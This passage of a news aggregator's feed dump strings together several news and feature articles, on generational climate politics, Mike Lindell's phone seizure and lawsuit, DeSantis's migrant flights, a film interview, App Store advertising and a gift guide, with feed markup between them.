But most policy debates aren't genuinely existential in the way climate change is. From heat waves to droughts to floods, people born in 2020 will experience between two and seven times more extreme-weather events in their lifetimes than people born in 1960, according to a 2020 study published in the journal Science.

Millennials and Gen Zers, in particular, have benefited from more education and better information about the crisis. For years, older Republicans were shaped by partisan, fossil-fuel-backed claims that climate science was bunk, that climate policy could only be achieved with overwhelming economic costs, and even that climate change was a hoax devised by China to strangle American manufacturing, as Trump falsely claimed in 2012. 

"What it comes down to for older Republicans is they're fearful of policies coming for their jobs and coming for their families' livelihoods," Benji Backer, the 24-year-old founder of the conservative climate-action organization American Conservation Coalition, said. "Young people grew up in a time where we learned about how fighting climate change didn't have to be at the expense of the economy."

Bob Inglis, a former Republican congressman from South Carolina who was ousted from Congress in 2010 in part over his support for a carbon tax, agreed that the GOP's decades of anti-climate messaging has deeply influenced older voters. 

"Talking points are slow to die," he said. 

Lawmakers and the generational gap

Politicians' views are also shaped by these generational trends. 

Inglis said he was a climate skeptic until his then-18-year-old son, Robert, told him in 2004, "Dad, I'll vote for you, if you're going to clean up your act on the environment." He later visited Antarctica and the Great Barrier Reef with congressional colleagues, met with scientists, and saw evidence of climate change with his own eyes. 

As a general matter, older politicians tend to approach the climate crisis with less urgency. Julian Brave NoiseCat, a writer and climate activist, pointed to Ocasio-Cortez, the country's youngest-ever congresswoman, who's put climate at the center of her policy agenda and embraced left-wing climate activists.

"She goes full-throated activist on the climate issue, which is obviously not the way that older Democrats tend to do it," NoiseCat said of the progressive lawmaker. "Younger Democrats tend to have a much more friendly relationship and response to the party's activist class than older Democrats do."

A spokesperson for Ocasio-Cortez declined to make the congresswoman available for an interview for this story. But the lawmaker recently told GQ that "generational tension has existed among virtually every single social movement in American history."

But there are exceptions to the young-old disconnect on environmental issues, particularly on the left. Elderly Democrats like Sens. Bernie Sanders and Ed Markey are among the most outspoken advocates. 

"There's this misconception that in order for an elected official to be responsive to and understanding of young people's concerns, they need to be young themselves. I just don't think that's true," said Marcela Mulholland, the political director at the left-leaning think tank and polling firm Data for Progress, pointing to Sanders and other older progressive Democratic leaders. 

But, she added, there should be far more young leaders in positions of power.

Rep. Debbie Dingell, a Michigan Democrat, said the real divide on climate is a partisan one and questioned how crucial activists were in securing the climate wins in the reconciliation bill. 

"I'm not young. I'm not old. I worked my fucking butt off last year and this year," the 68-year-old lawmaker said outside the Capitol after the House voted to pass the Inflation Reduction Act on August 12. "People need to make their voices heard and keep their foot on the pedal, but I also think sometimes you gotta have people that are willing to do the work to make it happen." 

Dingell, who succeeded her late husband, Rep. John Dingell, after his nearly 60 years in Congress, has faced pressure from progressive activists to take bold action on climate. She and her late husband spent much of their careers supporting the auto industry, a major player in their home state.

In an aerial view, an oil refinery is seen on September 07, 2022 in Texas City, Texas. Oil and gas companies in Texas have sent more than $ 10 billion in oil and natural gas production taxes to the state this year according to the state comptroller.
In an aerial view, an oil refinery is seen on September 07, 2022 in Texas City, Texas.

Brandon Bell/Getty Images

The role of fossil-fuel interests 

Lawmakers' positions on climate issues are also heavily influenced by their constituents' beliefs and donors' financial interests. Ultimately, most politicians will do what they can to get reelected.

"It behooves a leader of whatever age to mostly pay attention to high-propensity voters" who are disproportionately older and less concerned with the climate, Inglis said.  

Fossil-fuel interests have played a central role in stymieing progress on climate change for decades. Many experts argue their power intensified following the Supreme Court's 2010 decision in Citizens United v. FEC, which opened the floodgates to corporate and outside spending in elections and empowered the oil and gas industry and other interests to more effectively oppose climate legislation. 

This year, the oil and gas industry and electric utilities are among the top-five spenders by industry on political lobbying, according to data compiled by OpenSecrets. 

"Right now, politicians of any age are responding to the possibility of getting reelected, and there are two factors there: One, how do their constituents feel? And two, how subject are their constituents to the massive expenditure of money in the political arena?" Michael Oppenheimer, a prominent climate scientist and professor of geosciences and international affairs at Princeton, said.

During the past 15 years, the Republican Party has taken a sharp turn to the right on climate. 

In 2008, House Speaker Nancy Pelosi and the Republican leader Newt Gingrich sat on a couch outside the Capitol and filmed a TV ad calling on Americans to "take action to address climate change." 

Nearly a decade later, Trump ran for and won the presidency — with Gingrich's early and staunch support  — while calling climate change a "hoax." 

Many Republicans in Trump's GOP have embraced that position. 

Rep. Bob Good, a Virginia Republican, declared, "There is no climate crisis. It is a hoax," while railing against the Inflation Reduction Act on the House floor in August. 

Matt Schlapp, the head of the Conservative Political Action Coalition, put it simply in a May tweet: "I don't give a crap about climate change." 

Rep. Marjorie Taylor Greene of Georgia argued in June that climate change and carbon emissions are actually "healthy for us" and good for the planet. 

Thirty Republican senators and 109 Republican representatives in the 117th Congress have openly questioned or denied the science of human-caused climate change, according to a 2021 report from the left-leaning Center for American Progress. Those members have taken a total of $ 61 million in donations from the oil, gas, and coal industries during their careers, the report found. 

"It's impossible to deny the power of the fossil-fuel industry carrot-and-stick in the behavior of the Republican Party. I've seen it in my time in the Senate," Whitehouse said. "We went from having multiple bipartisan, good, strong climate bills to having none. And it happened instantly upon the Citizens United decision."

Most of that money goes to Republican lawmakers. GOP House leader Kevin McCarthy and Sen. Mitt Romney have, in their respective chambers, collected the most lifetime donations from people and political committees associated with the oil and gas industry, according to OpenSecrets. 

But a slew of Democrats also rake in cash from fossil-fuel interests while also investing their own money in fossil fuels. 

Sens. Joe Manchin and Kyrsten Sinema, the most influential shapers of the IRA, were the only two Democrats among the top 15 Senate recipients of oil and gas money during the 2022 election cycle, OpenSecrets reported. 

Sen. Joe Manchin (D-WV) speaks to reporters in the Senate Subway during a vote in the U.S. Capitol on September 08, 2022 in Washington, DC.
Sens. Joe Manchin and Kyrsten Sinema, the most influential shapers of the IRA, were the only two Democrats among the top 15 Senate recipients of oil and gas money during the 2022 election cycle, OpenSecrets reported.

Anna Moneymaker/Getty Images

Backer, the American Conservation Coalition founder, argued that younger Republican lawmakers are taking climate change much more seriously than their older peers. He pointed to Reps. Maria Elvira Salazar of Florida, Mike Gallagher of Wisconsin, Dan Crenshaw of Texas, and John Curtis of Utah, and Sen. Marco Rubio of Florida, among others. 

"I would say almost every member of Congress that's Republican under 50 really gets it on climate," Backer said. "These are people who span the spectrum of conservative to moderate, but they're all younger, and they all care about climate and they've all done stuff about it." 

But even younger legislators who've made it to Congress are often prevented from holding positions of real power in the chamber for years as older leaders hang on. Most committee chairs — particularly in the Democratic Party, which doesn't have term limits for leadership — are baby boomers or members of the silent generation, a cohort whose members were born between 1928 and 1945. 

"If you're a young legislator, like Jamaal Bowman, or AOC, or Rashida Tlaib, they have to sit and wait for like 20 years to be chairperson of a committee and have the ability to move legislation that actually is the thing that goes to the floor," said Brett Hartl, the director of government affairs at the Center for Biological Diversity, a nonprofit that advocates for endangered species and other environmental causes. "That's gonna feel pretty damn hopeless."

Student environmental advocates participate in a strike to demand action be taken on climate change outside the White House on September 13, 2019 in Washington, DC.
Student environmental advocates participate in a strike to demand action be taken on climate change outside the White House on September 13, 2019 in Washington, DC.

Sarah Silbiger/Getty Images

Young people are critical to the fight  

Some climate activists describe a duality of the Inflation Reduction Act: It's both unprecedented in scope yet still an incremental step in the right direction.

The law has received largely positive reviews from climate experts, who praise the more than $ 300 billion in tax credits for electric vehicles and solar energy and investments in forest and coastal restoration and pollution reduction, among other priorities.

If implementation goes as planned, the law would reduce US greenhouse gas emissions to 40% below 2005 levels by 2030, short of the 50% reduction for which the US is aiming. 

But many are still demanding bolder action to reach both domestic and international climate goals.

"The IRA is completely insufficient," Hartl said. "Almost anything and everything the Biden administration has done thus far, from an EPA side of things, has been insufficient. It's not going to get any easier. The more we delay and procrastinate and the more half measures just dig us deeper into the hole."

But there's no sign older voters and lawmakers will allow a new generation of lawmakers and climate advocates to take over.

Whitehouse argued that the GOP and its conservative allies have systematically worked to disempower younger voters, and thus hurt Democrats and progress on climate.

"I am concerned that there are interests at work in American politics who would very much like to turn off young voters and make the government process so unappealing to them that they don't show up," Whitehouse said. "And I think it's very clear that there is a political equation, and that is: High young-voter turnout equals larger Democratic Party majorities. And its corollary is, larger Democratic Party majorities means stronger climate legislation."

While environmental crises of years past have certainly posed tremendous challenges, they pale in comparison with the disaster that climate change could wreck on the planet if it's not swiftly addressed. The crisis is urgent, and younger generations simply don't have a decade — or even a few years — to lose.

Four years before Feinstein was first elected to the Senate in 1992, Dr. James Hansen of NASA famously testified before Congress that greenhouse-gas emissions were causing global warming. In the 30 years since, Feinstein and her colleagues failed to take significant actions to slow climate change.

While the Green New Deal is far from becoming law, it heavily influenced the Biden administration's original $ 3.4 trillion Build Back Better plan, which effectively served as an opening bid in Democrats' internal bargaining that ended with the scaled-back IRA.

Just as the young climate activists in Feinstein's office demanded, progressive Democrats used the ambitious framework to shift the Overton window and push their own party to think bigger.

"I'm very hopeful and I do think it's possible to do the sort of radical intervention that we need," said Clarke, the student activist and Feinstein protester who's now 19 years old. "I'm a true advocate for maintaining radical optimism."

"You have to shoot for the stars, land on the moon," Clarke added. "Throughout time, people have not gained the progress that they have by aiming to compromise."

Read the original article on Business Insider

https://i.insider.com/6314f83c023509001aecd6e0?format=jpeg

]]> https://briefnews.eu/millennials-and-gen-z-want-to-stop-a-climate-catastrophe-but-first-they-have-to-get-elected/feed/ 0 Mike Lindell says vendors are bailing on his MyStore platform because they don’t want to be associated with an FBI investigation https://briefnews.eu/mike-lindell-says-vendors-are-bailing-on-his-mystore-platform-because-they-dont-want-to-be-associated-with-an-fbi-investigation/ https://briefnews.eu/mike-lindell-says-vendors-are-bailing-on-his-mystore-platform-because-they-dont-want-to-be-associated-with-an-fbi-investigation/#respond Wed, 21 Sep 2022 04:54:08 +0000 https://briefnews.eu/mike-lindell-says-vendors-are-bailing-on-his-mystore-platform-because-they-dont-want-to-be-associated-with-an-fbi-investigation/ MyPillow CEO Mike Lindell checks his cellphone inside the Covelli Centre before a Save America Rally, featuring former President Donald Trump, to support Republican candidates running for state and federal offices on September 17, 2022 in Youngstown, Ohio.
MyPillow CEO Mike Lindell

Jeff Swensen/Getty Images

  • MyPillow CEO Mike Lindell says four vendors have bailed on his MyStore e-commerce platform.
  • Lindell told Insider these businesses "don't want to deal with MyStore" for fear of an FBI probe.
  • Lindell's phone was seized by the FBI last week at a Hardee's drive-thru in Minnesota.

MyPillow CEO Mike Lindell told Insider on Tuesday that four entrepreneurs whose businesses were set to be listed on his MyStore e-commerce platform have pulled out of the plan.

Speaking to Insider, Lindell said that after the FBI seized his phone at a Hardee's drive-thru last week, at least four businesses have told him that they "don't want to deal" with his MyStore platform.

"You know, they don't want to have the connection of the FBI. The FBI scares them," Lindell said of the vendors.

"They don't want to get canceled, you know?" he added.

Lindell did not name the entrepreneurs but said they had "really good" products, adding that he had inked deals with them that have since fallen through. The businessman told Insider that he was also informed over the last week that a "private lender" had rescinded "two to three million dollars" worth of support for one of the four businesses that were angling to sell products on the MyStore platform.

"This money was already earmarked for one of these vendors, one of these entrepreneurs, so that they would have enough products and be listed up on MyStore," Lindell said. "And then they (the lenders) canceled the loan because they found out it was linked to MyStore. It's very sad."

MyStore was started in April 2021 as Lindell's "patriotic" answer to Amazon. The store now lists a gamut of products, including the Lindell-backed MyCoffee, a range of ground coffee with the businessman's face emblazoned on the packaging.

The MyStore pull-out is not the first time Lindell has run into issues with financial institutions and collaborators due to pushing former President Donald Trump's baseless claims of election fraud.

In February, one of Lindell's banks cut ties with him, citing him as a "reputation risk," after he was subpoenaed by the January 6 House select committee for his phone records.

In June, Lindell accused Walmart, MyPillow's biggest distributor, of "canceling" him and pulling his pillows from their stores.

Lindell told Insider last week that the phone seizure was linked to an investigation into Mesa County Clerk Tina Peters, a pro-Trump Colorado election official accused of facilitating an election-data leak.

On Tuesday, the businessman filed a lawsuit against the FBI and the Department of Justice for seizing his phone and accused the authorities of violating his constitutional rights.

Represented by a legal team that includes conservative lawyer Alan Dershowitz, Lindell's suit claims the FBI violated his "First, Fourth, Fifth, and Sixth Amendment" rights. He is also demanding that his cell phone be returned and that any information obtained from his phone by the FBI or DOJ not be released.

Separately, Lindell told Insider on Tuesday that he had been having trouble accessing his cash and wiring money to his businesses without his phone.

"I can't do money wires," Lindell said, telling Insider that the codes he needed were all on the phone that was seized. "They took the files that were in there, and it really crippled me with work."

Read the original article on Business Insider

https://i.insider.com/632a81d14f9291001883f94a?format=jpeg

]]> https://briefnews.eu/mike-lindell-says-vendors-are-bailing-on-his-mystore-platform-because-they-dont-want-to-be-associated-with-an-fbi-investigation/feed/ 0 Mike Lindell is suing the FBI, saying they violated his ‘First, Fourth, Fifth, and Sixth Amendment’ rights by seizing his phone https://briefnews.eu/mike-lindell-is-suing-the-fbi-saying-they-violated-his-first-fourth-fifth-and-sixth-amendment-rights-by-seizing-his-phone/ https://briefnews.eu/mike-lindell-is-suing-the-fbi-saying-they-violated-his-first-fourth-fifth-and-sixth-amendment-rights-by-seizing-his-phone/#respond Wed, 21 Sep 2022 02:31:12 +0000 https://briefnews.eu/mike-lindell-is-suing-the-fbi-saying-they-violated-his-first-fourth-fifth-and-sixth-amendment-rights-by-seizing-his-phone/ Mike Lindell of Lindell TV attends CPAC (Conservative Political Action Conference) Texas 2022 conference at Hilton Anatole.
MyPillow CEO Mike Lindell has his cell phone seized on September 13.

Lev Radin/Pacific Press/LightRocket via Getty Images

  • MyPillow CEO Mike Lindell is suing the FBI and DOJ for seizing his phone.
  • Insider obtained a copy of the lawsuit, in which Lindell is represented by lawyer Alan Dershowitz.
  • Lindell says the FBI and DOJ violated his First, Fourth, Fifth, and Sixth Amendment rights.

MyPillow CEO Mike Lindell is suing the FBI and Department of Justice for seizing his mobile phone outside a Hardee's in Mankato, Minnesota, and accusing the authorities of violating his constitutional rights. 

Lindell sent Insider a copy of the lawsuit in which Attorney General Merrick Garland and FBI Director Christopher Wray were listed as defendants.

Represented by a legal team including conservative lawyer Alan Dershowitz, Lindell's suit claims the FBI violated his "First, Fourth, Fifth, and Sixth Amendment" rights. He is also demanding that his cell phone be returned and that any information obtained from his phone by the FBI or DOJ not be released. 

The lawsuit gives a detailed account of Lindell's side of the incident, in which he describes driving home at 4 a.m. on September 13 with a friend after going duck hunting in Minnesota. Per the suit, Lindell's group was at a Hardee's in Mankato sometime in the late morning when they found themselves boxed in by FBI officers.

Lindell's team wrote that the FBI must have had him under surveillance because he had not made his location at the Hardee's publicly known.

The filing also stated that Lindell began "fearing for his and his friend's lives" as FBI officers approached their vehicle. Per the filing, a conversation then ensued between Lindell and the officers about "Dominion Voting Systems," indicted Mesa County clerk Tina Peters, and Lindell's private plane travel. The officers also seized Lindell's phone.

Lindell told Insider last week that the phone seizure was linked to an investigation into Mesa County Clerk Tina Peters, a pro-Trump Colorado election official accused of facilitating an election-data leak.

Lindell has been linked to Peters, who was accused in April of accepting a private plane ride from the business owner. Lindell also told Insider that he'd been helping to pay off Peters' legal fees, with some funds coming from his "personal money" that was redirected through a fundraising platform called the Lindell Legal Offense Fund.

Lindell's team further claimed in their filing that the MyPillow CEO had been subjected to "unlawful detention" and that the agencies had been "unreasonable" when executing the search and seizure warrant.

A representative from the DOJ attached to Lindell's case told Insider that their office had no comment on the matter. 

Speaking to Insider on Tuesday, Lindell said he was suing over what he thought was the "worst violation" of his rights. 

"It's horrible. Can you believe they did that to your friend?" he told Insider.

Lindell told Insider that had the FBI approached him at night, he would have "bashed" his way through their cars with his pickup truck. 

"Because I would have thought they were bad guys there. There was no sign that they were law enforcement, the way they surrounded me like that," he said, adding that he believed the agency had been "weaponized" by the government. 

However, Lindell maintained that he would not have minded being detained by the FBI. 

"I don't care if I get arrested or anything or if they're going to bring me in," Lindell said. "So I can get the word out to get rid of the voting machines, you know that? I'd do whatever it takes." 

Lindell continues to be highly involved in pushing former President Donald Trump's false claims of voter fraud in the 2020 election. For one, he is bankrolling a nationwide effort to stop the use of electronic voting machines. He is also embroiled in a $ 1.3 billion lawsuit filed against him by the voting-technology company Dominion and a suit filed by the voting-systems company Smartmatic.

Read the original article on Business Insider

https://i.insider.com/632a6908edbe7f00190f261b?format=jpeg

]]> https://briefnews.eu/mike-lindell-is-suing-the-fbi-saying-they-violated-his-first-fourth-fifth-and-sixth-amendment-rights-by-seizing-his-phone/feed/ 0 DeSantis’ office says migrants are better off in Massachusetts than they would have been in Texas https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/ https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/#respond Tue, 20 Sep 2022 14:35:28 +0000 https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/ Republican Gov. Ron DeSantis is up for reelection in Florida in 2022 and is considered to be a top-tier GOP candidate for the presidency in 2024.
Republican Gov. Ron DeSantis.

John Raoux/AP Images

  • Florida Gov. Ron DeSantis' office said migrants he had flown to Martha's Vineyard are better off.
  • The remarks by a DeSantis spokesperson came after a county sheriff in Texas announced he had opened a criminal investigation into the matter. 
  • Last week, 50 migrants were flown to Martha's Vineyard in a move orchestrated by DeSantis.

Florida Gov. Ron DeSantis' office said that the dozens of migrants that he had flown to the Massachusetts island of Martha's Vineyard are better off than they would have been in Texas after a Texas county sheriff announced that he had launched a criminal investigation into the matter.

Last week, about 50 migrants were taken on two chartered planes from Texas to Martha's Vineyard in a controversial move orchestrated by DeSantis. 

The Republican governor's spokesperson Taryn Fenske said in a statement shared with Insider that immigrants were "more than willing" to leave Bexar County, Texas, "after being abandoned, homeless, and 'left to fend for themselves.'"

"Florida gave them an opportunity to seek greener pastures in a sanctuary jurisdiction that offered greater resources for them, as we expected," Fenske said. 

Fenske added that unless the Massachusetts National Guard "has abandoned these individuals, they have been provided accommodations, sustenance, clothing and more options to succeed following their unfair enticement into the United States, unlike the 53 immigrants who died in a truck found abandoned in Bexar County this June."

The remarks came in response to the Bexar County Sheriff's Office opening an investigation into the transport of migrants to Martha's Vineyard. 

Bexar County Sheriff Javier Salazar, a Democrat, said that the migrants were "lured" with "promises of a better life."

The Bexar County Sheriff's Office said that the migrants "were ultimately left to fend for themselves in Martha's Vineyard."

Read the original article on Business Insider

https://i.insider.com/625597723df5750019f758a7?format=jpeg

]]> https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/feed/ 0 People in Prince George frustrated they need to travel hundreds of kilometres to give blood https://briefnews.eu/people-in-prince-george-frustrated-they-need-to-travel-hundreds-of-kilometres-to-give-blood/ https://briefnews.eu/people-in-prince-george-frustrated-they-need-to-travel-hundreds-of-kilometres-to-give-blood/#respond Mon, 19 Sep 2022 00:30:55 +0000 https://briefnews.eu/people-in-prince-george-frustrated-they-need-to-travel-hundreds-of-kilometres-to-give-blood/ 1237709951

People who want to give blood in Prince George, B.C., are frustrated they have to travel hundreds of kilometres to the Okanagan, the Lower Mainland or Vancouver Island if they want to donate.

]]> https://briefnews.eu/people-in-prince-george-frustrated-they-need-to-travel-hundreds-of-kilometres-to-give-blood/feed/ 0 The cast and crew of See How They Run on the art of the murder mystery https://briefnews.eu/the-cast-and-crew-of-see-how-they-run-on-the-art-of-the-murder-mystery/ https://briefnews.eu/the-cast-and-crew-of-see-how-they-run-on-the-art-of-the-murder-mystery/#respond Fri, 16 Sep 2022 21:42:12 +0000 https://briefnews.eu/the-cast-and-crew-of-see-how-they-run-on-the-art-of-the-murder-mystery/ The lights go out, a woman screams, and a loud thud breaks the silence. When the lights come on again, a dead body is revealed and a room full of shocked witnesses eye each other warily. Which one of them did it? That’s the premise of pretty much every murder mystery in the 20th century, and See How They Run, a new film starring Sam Rockwell and Saoirse Ronan, doesn’t stray too far from that formula. Its most appealing quality is how lovingly retro it all feels: the ne’er-do-well victim, the shady suspects, and the dark mansion where all secrets are revealed.

In an interview with Digital Trends, director Tom George and co-star Charlie Cooper discuss the eternal appeal of the murder mystery genre, how a cast of veteran American and British actors was eventually cast, and why films like this are best experienced in a crowded theater full of moviegoers eager to solve the case.

This interview has been condensed for length and clarity.

Digital Trends: What made you two decide to make See How They Run?

Tom George: I think what appealed to me was the chance to make a film that was a thriller, a murder mystery, and a comedy. I liked the challenge of threading those elements together, because I think there’s a risk that, you know, you overplay the comedy elements, and you lose the stakes in your thriller, and you play too much emphasis on the darker elements and the comedy tone drifts away.

The cast of See How They Run looks at the camera.

Charlie Cooper: I’ve always loved murder mysteries, and the fact that it’s that, but also a comedy was what really drew me to the film, because it’s a hard thing to get right. We see a lot of straight-forward murder mysteries, but to have that suspense and combine it with laughs is just really appealing. And then having read the script, it was just superb — the whole tone of it and the colorful characters. Yeah, it was perfect.

The movie is sort of a love letter to Agatha Christie, with her famous play The Mousetrap being a pivotal plot device and an old-fashioned murder mystery genre. What do you like about the genre in particular, and what are some of your favorite mysteries?

George: I wasn’t a huge mystery fan before See How They Run. I think, certainly in England, we’ve all grown up with them, whether it be murder mystery books or TV adaptations or films. The challenge then is how do you do something new in that space?

On the one hand, this is a film set in 1953. It wants to feel like a fully realized version of 1950s London, but it also only works from a sort of modern viewpoint. It was clear there’s this contemporary thread running through the whole film tonally.

My first engagement with murder mysteries would have been Poirot, the Agatha Christie character who was played by David Suchet in a series from the ‘80s and ‘90s. That was a staple for me and my brother, and we’d sit there and try to write down notes to crack the case. But, of course, Christie’s mysteries don’t work quite like that.

Cooper: It’s that sort of inherent human trait of working out a mystery in your imagination that’s so lovely. It’s such a part of British culture, you know, in stories and plays.

Had you seen The Mousetrap before making this film?

George No, I hadn’t seen The Mousetrap before making this film. I was due to go and see it, but then there was a global pandemic, which made that trickier. But in the end, I read the play, and I was familiar with it by the time we shot the film. I see that as a positive, because I think it’s important that the audience can come to this movie not having seen that play and still enjoy it.

A female cop looks on in See How They Run.

I wanted to have this layer of awareness about the genre and the tropes of the genre and the way that these kinds of stories function, but that all needs to be built on solid foundations with relatable characters and a good story. It needed to work in its own right. Hopefully, that extra layer is exciting for fans of the genre or for people on a second watch-through.

Cooper: No, I hadn’t, actually. I didn’t know that much about Agatha Christie before I joined the cast. It’s one of those things you don’t realize how much you know until you sort of go back and look at it properly, and we shot it during the pandemic, so we weren’t able to see the play.

The movie features an eclectic cast. How did you assemble such a motley crew of actors?

George: You know, the great thing about a whodunit is you get to have a large ensemble of potential suspects and victims. And Mark Chappell [the writer] had written these brilliant characters so that then the process of putting actors in those parts was actually one of the most fun parts of the production.

It certainly started with Saoirse Ronan, who was the first person we thought of for Constable Stalker. We had a couple of conversations with her, and she came on board, and it really kind of built out from there. Sam Rockwell joined us, then David Oyelowo, and then the rest of the cast followed. They not only were brilliant people in their own right, but also it gave a clear direction to the project. People could see or get more of a sense tonally of what we were trying to do.

Charlie, how did you approach playing your character Dennis the theater usher? Like everybody else in the cast, you must be believable as both a potential suspect or victim.

Cooper: Yeah, I knew that from the beginning, and I think that what really appealed to me was doing something challenging and completely outside my comfort zone. It was so much fun to play Dennis. I would definitely do it again.

A man and a woman sit in a dresser room in See How They Run.

What should audiences expect from this movie?

George: I think audiences should expect a whodunnit that is both for fans of mysteries but also for people who wouldn’t usually go and see this type of film. And above all, I think it’s a film to watch with groups of people, whether that’s at home or preferably in the theater. It’s so easy to forget that joy of laughing with an audience. I think it’s an essential social thing that we’ve missed these last two years. And this kind of film used to get made here in the UK quite a lot: dark crime dramas with overtones of comedy.

Cooper: See How They Run is just an hour and a half of pure escapism. It’s a chance to get really get absorbed into that world of West End London in the 1950s, which is so lovely because the cinematography is so good. The costumes are amazing, and the sets are unreal. So, it’s just going to be one of those movies where I think you’re looking at the cinema and just thinking, “I really want to go back into that world for a couple more hours,” which is really nice. I love it when that happens. And again, you know, in its purest form, it’s a classic murder mystery that everyone will love to watch.

See How They Run is currently playing in select theaters.

]]> https://briefnews.eu/the-cast-and-crew-of-see-how-they-run-on-the-art-of-the-murder-mystery/feed/ 0 Ads won’t ruin your iPhone’s App Store — they may actually improve it https://briefnews.eu/ads-wont-ruin-your-iphones-app-store-they-may-actually-improve-it/ https://briefnews.eu/ads-wont-ruin-your-iphones-app-store-they-may-actually-improve-it/#respond Fri, 16 Sep 2022 13:22:17 +0000 https://briefnews.eu/ads-wont-ruin-your-iphones-app-store-they-may-actually-improve-it/ Apple sent out a note this week to app developers confirming that more advertising could be coming to the iPhone App Store in time for the holiday season. With the amount of advertising that already permeates the modern internet, the news has raised concerns that iPhone owners may soon find themselves wading through a sea of ads before they can find the app they’re looking for.

Anything can happen, so I can’t rule out the possibility that Apple could go too far on this one. However, I remain cautiously optimistic that Apple’s expanded advertising initiatives won’t ruin the App Store experience. It might even enhance it.

Apple’s App Store advertising ambitions

When you think of online advertising, Apple isn’t usually the first company that comes to mind. Most folks wouldn’t even include it in the top five. Other tech giants like Google, Meta (previously Facebook), and Amazon are generally the ones on the online advertising leaderboard.

After all, Apple is primarily viewed for its products: the iPhone, iPad, Apple Watch, and Mac, to name a few. Sure, it’s more recently begun expanding into services like Apple TV+ and Apple Arcade, but those are still consumer-facing subscription services. That’s quite different from advertising.

However, it may surprise you that Apple has been dabbling in advertising for over a decade. It just hasn’t been particularly successful at it. In the fledgling days of the App Store in 2010, Apple created its own ad network that it dubbed iAd.

iAd

With iAd, Apple’s goal was to provide a simple framework for developers to make money by showing ads within their apps. Apple would act as the middleman, curating and providing these ads — and taking a 40% cut of the ad revenue in exchange.

Don’t feel too bad if you’ve never heard of iAd. Despite launching to much fanfare at Apple’s 2010 Worldwide Developers Conference, iAd fast became a project that Apple likely wishes it could forget ever happened. Alas, iAd failed to gain any meaningful traction, dying a slow death over the years before Apple finally put it out of its misery in 2016.

Ads in the App Store today

Nevertheless, Apple refused to give up on advertising entirely, and out of the ashes of iAd, it came up with a new idea: search ads on the App Store.

Launched in 2016 as Apple Search Ads, the new service took a different approach. Instead of taking a cut from third-party ads that developers run in their apps, Apple would sell ad spots directly to developers to help them promote their apps on the App Store.

Two iPhones showing App Store Search Ads.
Jesse Hollington / Digital Trends

If you’ve ever opened the search tab in the App Store on your iPhone or iPad, you’ve likely noticed these search ads. They appear in two specific places: one at the top of the “Suggested” section when you first open the search page and the other at the top of the results shown after you search for something.

Apple marks these clearly with an “Ad” tag, so there’s no doubt about what you’re seeing, and the company has some pretty restrictive rules about what developers can show in these ad spots. Most significantly, the ads can only contain content from apps’ approved App Store product pages.

The same ads you know, but more of them

Apple’s approach is very conservative compared to most online ad networks, and there’s no reason to believe the company is about to change that stance even as it seemingly plans to expand the number of places where ads will appear on the App Store.

In July, Apple announced plans for ads to appear in two more places in the App Store: the central “Today” page and a new “You Might Also Like” section at the bottom of individual app product pages.

At the time, Apple didn’t say when these new ad spots would launch. However, an advertising webinar invite sent out to developers this week hints they could be coming soon.

I’m unsure if a timeline for Apple’s new ad placements in the App Store had previously been announced, but it appears that they’ll be live for the “holiday season” pic.twitter.com/drcgIAYlTo

&mdash; Eric Seufert (@eric_seufert) September 13, 2022

The message doesn’t provide too many specifics, but the mention of “new placements coming soon” in the headline suggests this could be the main focus of the webinar.

In a statement to multiple media outlets in July, Apple made it clear that it has no plans to change its policies for how advertising is handled on the App Store.

“Apple Search Ads provides opportunities for developers of all sizes to grow their business,” an Apple spokesperson said. “Like our other advertising offerings, these new ad placements are built upon the same foundation — they will only contain content from apps’ approved App Store product pages and will adhere to the same rigorous privacy standards.” In other words, the same ads will be shown; they’ll just be shown in more places.

Promoting apps is a win-win scenario; Apple collects money directly from developers to run ads while at the same time encouraging more spending on the App Store. Apple isn’t about to start showing third-party ads on the App Store for things like deodorant and pet supplies any more than McDonald’s would advertise Whoppers.

Why I’m not worried

If Apple follows through on its stated plans for these new ad spots, there won’t be much to worry about. The “Today” page is a place for editorial articles written by the App Store team to help folks discover new apps. A single entry, clearly tagged as an ad, would be more like a “sponsored story” than anything else.

App Store on-screen illustration

Similarly, the “You Might Also Like” section on individual App Store product pages will reportedly be at the very bottom of the page. This would put it below the list of other apps by the same developer. That’s such an easily ignored spot that I’m a bit skeptical this is where it will land, but it’s also unlikely that Apple will tromp on a developer’s App Store page by placing the ad further up.

When it comes to online advertising, it’s also easy to paint with too wide of a brush. Ads can be annoying, but when done properly, they can be helpful. Right now, Apple’s App Store search ads often highlight apps that might be worth a look, giving small indie developers a leg up. Big tech companies aren’t generally paying Apple for search ads on the App Store since they don’t need to. This means you’re likelier to see smaller apps and games you haven’t heard of before appearing in search ads rather than more mainstream apps like Netflix and Genshin Impact.

]]> https://briefnews.eu/ads-wont-ruin-your-iphones-app-store-they-may-actually-improve-it/feed/ 0 27 of the best gifts for couples, from personalized gifts to fun activities they can do together https://briefnews.eu/27-of-the-best-gifts-for-couples-from-personalized-gifts-to-fun-activities-they-can-do-together/ https://briefnews.eu/27-of-the-best-gifts-for-couples-from-personalized-gifts-to-fun-activities-they-can-do-together/#respond Thu, 15 Sep 2022 17:41:48 +0000 https://briefnews.eu/27-of-the-best-gifts-for-couples-from-personalized-gifts-to-fun-activities-they-can-do-together/ When you buy through our links, Insider may earn an affiliate commission. Learn more.

Side by side collage with a fondue pot filled with cheese and assorted foods to dip in spread across a table on the left and customized dog shaped pet pillows on the right.
From cute games to practical household products, shopping for your favorite couple just got easier with these great gifts.

Food52; Rarton/Etsy

Whether it's a wedding anniversary, housewarming, or holiday, there are many occasions where gifting a couple one present just makes sense. Even better, a gift for a couple has an added layer of thoughtfulness — it's something they can both enjoy using together. Plus, it doesn't hurt that you only have to shop for one item. 

Whatever the occasion, we have plenty of gift ideas for the couples in your life. From fun activities they can do together to personalized home decor, we've rounded up options for all the different types of couples you know and love. From the outdoorsy couple, the game night hosts, the foodies, and everyone in between, these gifts for couples are thoughtful, unique, and sure to please.  

Here are the 29 best gifts for couples in 2022:

A collection of the New York Times' hardest crossword puzzles

Cover of The New York Times Best of the Week Series: Saturday Crosswords puzzle book. gifts for couples 2022

Amazon

The New York Times Best of the Week Series: Saturday Crosswords, available at Barnes & Noble, Amazon, and Target, from $ 10.99

